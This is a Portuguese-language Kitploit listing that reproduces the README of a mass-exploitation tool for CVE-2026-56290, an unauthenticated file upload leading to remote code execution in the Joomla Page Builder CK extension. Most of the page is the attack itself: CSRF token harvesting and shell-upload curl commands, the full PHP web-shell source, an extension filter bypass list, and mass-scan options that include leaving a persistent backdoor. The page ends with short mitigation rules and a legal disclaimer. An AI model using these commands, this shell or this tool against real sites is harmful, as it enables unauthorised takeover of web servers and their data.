Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pbck-exploit — 📤 Framework de exploração em massa para CVE-2026-56290 — upload de arquivo não autenticado para RCE no Page Builder CK Joomla | Kitploit
Ferramentas/GitHubGitHub/shinthink/pbck-exploit
ReconhecimentoScanners de VulnerabilidadesFrameworks de ExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Framework de exploração em massa para CVE-2026-56290 — upload de arquivo não autenticado para RCE no Page Builder CK Joomla

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PBCK-Exploit — Exploit do Joomla Page Builder CK CVE-2026-56290

Python CVE License

Discovery CSRF RCE Cleanup Live

Framework de Exploração em Massa e Validação para o Joomla Page Builder CK

Upload Não Autenticado de Arquivos Arbitrários → Execução Remota de Código



📑 Índice

  • Visão Geral da Vulnerabilidade
  • Versões Afetadas
  • Recursos
  • Instalação
  • Uso
  • Prova de Conceito
  • Análise Técnica Detalhada
  • Metodologia de Detecção
  • Defesa e Mitigação
  • Isenção de Responsabilidade
  • Referências

🔴 Visão Geral da Vulnerabilidade

CVE-2026-56290 é uma vulnerabilidade de severidade crítica no Page Builder CK (com_pagebuilderck), uma extensão popular de construtor de páginas para Joomla. O método browse.ajaxAddPicture do controlador aceita uploads de arquivos não autenticados com um caminho de destino controlado pelo usuário, permitindo que atacantes gravem arquivos PHP arbitrários em diretórios acessíveis pela web.

A Causa Raiz

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

O parâmetro path passa por apenas sanitização com trim() — sem whitelist, sem verificação de traversal de diretórios, sem barreira de autenticação. Combinado com um token CSRF publicamente acessível em qualquer página do Joomla, atacantes podem enviar remotamente shells PHP para qualquer diretório gravável.

Impacto

VetorSeveridadeImpacto
Upload Não Autenticado de Arquivo

A Cadeia de Ataque

root@kitploit:~
1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 Versões Afetadas

Nota: A versão é detectada a partir do arquivo de manifesto do Joomla em /administrator/manifests/files/com_pagebuilderck.xml. Se o manifesto estiver inacessível, o scanner trata o alvo como potencialmente vulnerável por padrão.


✨ Recursos


📦 Instalação

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

Requisitos

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 Uso

Argumentos de Linha de Comando

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

Uso Básico

root@kitploit:~
# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Formato do Arquivo de Alvos

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 Prova de Conceito

Cenário 1: Varredura em Massa com Saída ao Vivo

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

Cenário 2: Reprodução Manual (curl + Python)

Passo 1 — Coletar Token CSRF

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Passo 2 — Enviar Shell PHP

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Passo 3 — Verificar RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

Cenário 3: O Payload da Shell PHP

O scanner implanta uma shell de upload autossuficiente — sem necessidade de exec(), system() ou eval():

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

Capacidades da shell:

  • 📤 Enviar arquivos adicionais via POST f=@file
  • 🧹 Autodestruição via ?cleanup=1
  • 🔑 Validação baseada em token (o scanner verifica o token exclusivo na saída)

🔬 Análise Técnica Detalhada

Arquitetura

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Estratégia de Descoberta de Endpoint

O scanner usa uma abordagem de força bruta em camadas com um orçamento de tempo por alvo (15s):

Cada combinação: enviar uma sonda .txt → verificar via GET → correspondência em caso de sucesso. Retorna imediatamente quando confirmada.

Filosofia de Bypass de Extensão

CKFile::makeSafe() bloqueia .php em algumas configurações. A estratégia de bypass:

root@kitploit:~
Tier 1: Fast
  php, PHP, pht, phar
         ↓ (if blocked)
Tier 2: Case juggling
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (if blocked)
Tier 3: Alternative handlers
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (if blocked)
Tier 4: Double extensions
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (if blocked)
Tier 5: Windows tricks
  php., PHP., php. , php.SWF

Coleta de Token CSRF

O token CSRF do Joomla é incorporado em todas as páginas — início, login, registro, formulários de contato, admin:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                      # login
    "/index.php?option=com_users&view=registration",               # registration
    "/index.php?option=com_contact&view=contact&id=1",             # contact
    "/administrator/index.php",                                    # admin login
]

Padrão A — input HTML oculto: <input type="hidden" name="<hex32>" value="1">

Padrão B — configuração JSON: "csrf.token":"<hex32>"


🔍 Metodologia de Detecção

Detecção de Joomla (2 Fases)

Fase 1 — Fingerprints de HTML (rápida, definitiva)

  • Meta tag Generator contendo "Joomla!"
  • Elementos estruturais: <jdoc:include>, joomla-script-options, "csrf.token"
  • Padrões de caminho: /components/com_, /modules/mod_, /plugins/system/
  • Análise de cookie de sessão

Fase 2 — Sondagem do Painel Administrativo (fallback)

  • Busca a página /administrator/
  • Verifica marcadores admin específicos do Joomla: name="username", mod-login-, administrator/templates/

Detecção de PBCK (3 Camadas)

Camada 1 — Indicadores fortes de HTML

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Camada 2 — Indicadores fracos de HTML com confirmação

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Camada 3 — Sondas diretas de arquivos (captura instalações onde o PBCK não está na página inicial)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ Defesa e Mitigação

1. Atualize Imediatamente

root@kitploit:~
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/

2. Bloqueie o Endpoint de Upload

root@kitploit:~
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Reforce a Execução de PHP em Diretórios Graváveis

root@kitploit:~
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Audite Sua Frota

root@kitploit:~
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ Isenção de Responsabilidade

🚨 APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS

Este software é fornecido exclusivamente para fins educacionais e pesquisa legítima de segurança. Ele destina-se ao uso por:

  • 🛡️ Profissionais de segurança que realizam testes de penetração autorizados
  • 🏢 Organizações que auditam sua própria infraestrutura Joomla
  • 🔬 Pesquisadores que estudam técnicas de exploração de vulnerabilidades
  • 🎓 Estudantes que aprendem sobre segurança de aplicações web

❌ Você NÃO pode usar este software para:

  • Acessar sistemas de computador sem autorização explícita por escrito
  • Comprometer, danificar ou interromper sistemas que você não possui
  • Envolver-se em atividades ilegais de qualquer tipo

⚖️ Aviso Legal

O acesso não autorizado a sistemas de computador viola leis, incluindo, mas não se limitando a:

  • Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonésia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • União Europeia: Diretiva 2013/40/EU
  • Reino Unido: Computer Misuse Act 1990

O(s) autor(es) NÃO ASSUME(M) NENHUMA RESPONSABILIDADE por qualquer uso indevido, dano ou consequência legal resultante do uso desta ferramenta. Ao usar este software, você reconhece que é o único responsável por suas ações e concorda em cumprir todas as leis aplicáveis.


📚 Referências


⚡ Construído com precisão para a comunidade de pesquisa em segurança ⚡

Joomla® é uma marca registrada da Open Source Matters, Inc.
Este projeto não é afiliado nem endossado pelo Joomla, Open Source Matters ou Page Builder CK.

Baixar ferramenta
9.8 (Crítica)
Execução arbitrária de código PHP
Coleta de Token CSRF5.3 (Média)Viabiliza a cadeia de upload
Divulgação de Informações5.3 (Média)Identificação da versão da extensão
Versão do Page Builder CKStatusNotas
3.1.1 e anteriores🔴 VulnerávelUpload não autenticado confirmado
3.4.10 e anteriores🔴 VulnerávelFaixa estendida conforme análise
3.5.10 e anteriores🔴 VulnerávelAlgumas variantes corrigidas podem existir
> 3.5.10🟢 Possivelmente CorrigidaVerifique via XML do manifesto

🔍 Reconhecimento

  • Detecção de Joomla — 2 fases: fingerprints de HTML + sondagem do painel administrativo
  • Detecção de PBCK — Sondagem direta de caminhos + correspondência de padrões HTML
  • Extração de versão — Parsing do XML do manifesto + fallback de regex HTML
  • Coleta de token CSRF — Extração de tokens em múltiplas páginas (início, login, registro, admin)
  • Força bruta de endpoints — Mais de 1000 combinações de task/param/caminho com descoberta com orçamento de tempo

💀 Exploração

  • Bypass de 40+ extensões — Variações de maiúsculas, variantes numeradas, extensões duplas, truques para Windows
  • 20+ caminhos de destino — Diretórios da extensão, diretórios graváveis do Joomla, caminhos de traversal
  • Validação de shell — Confirmação baseada em token de que o PHP executa
  • Limpeza automática — Shells se autodestroem após a validação (?cleanup=1)
  • Saída TXT ao vivo — Resultados em tempo real com segurança de thread gravados em arquivo
  • Relatório JSON — Relatório estruturado com detalhes completos por alvo
CamadaTasksParâmetros de ArquivoParâmetros de PastaCaminhos de DestinoTotal de Combinações
Camada 1 (confirmada)browse.ajaxAddPicture + 3 outrasfile, Filedatapath, folder, dir4 principais diretórios PBCK96
Camada 2 (grade completa)12 tasks4 params5 params20+ caminhos4.800+
RecursoLink
Entrada NVDCVE-2026-56290
Segurança Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
Upload de Arquivo OWASPUnrestricted File Upload